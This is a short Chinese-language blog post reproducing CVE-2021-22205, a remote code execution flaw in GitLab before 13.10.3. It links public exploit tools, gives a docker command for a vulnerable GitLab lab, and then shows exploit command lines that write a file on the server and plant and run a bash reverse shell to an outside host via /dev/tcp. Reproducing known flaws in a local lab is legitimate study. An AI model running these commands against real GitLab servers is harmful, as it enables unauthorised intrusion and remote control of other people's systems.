栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

CVE-2021-22205复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2021-22205复现

 影响版本:

RCE exploit for gitlab version < 13.10.3

git工具:

推荐使用第一个

​​​​​​​https://github.com/Al1ex/CVE-2021-22205

GitHub - mr-r3bot/Gitlab-CVE-2021-22205

https://github.com/projectdiscovery/nuclei

https://github.com/projectdiscovery/nuclei-templates

环境搭建:
export GITLAB_HOME=/Users/XXX/Desktop/software/CVE/CVE-2021-22205
docker run --detach 
  --hostname gitlab.example.com 
  --publish 443:443 --publish 80:80 
  --name gitlab 
  --restart always 
  --volume $GITLAB_HOME/config:/etc/gitlab 
  --volume $GITLAB_HOME/logs:/var/log/gitlab 
  --volume $GITLAB_HOME/data:/var/opt/gitlab 
  gitlab/gitlab-ce:13.9.1-ce.0

建议内存开大,直接访问本地端口

验证

 写文件:

python3 CVE-2021-22205.py -a true -t http://localhost:8089/ -c "echo 'Attacked by Al1exp' > /tmp/1.txt"

​​​​​​​​​反弹shell 

python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "echo 'bash -i >& /dev/tcp/xxxxxxxx/8080 0>&1' > /tmp/1.sh"
python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "chmod +x /tmp/1.sh"
python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "/bin/bash /tmp/1.sh"

 

 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/389206.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号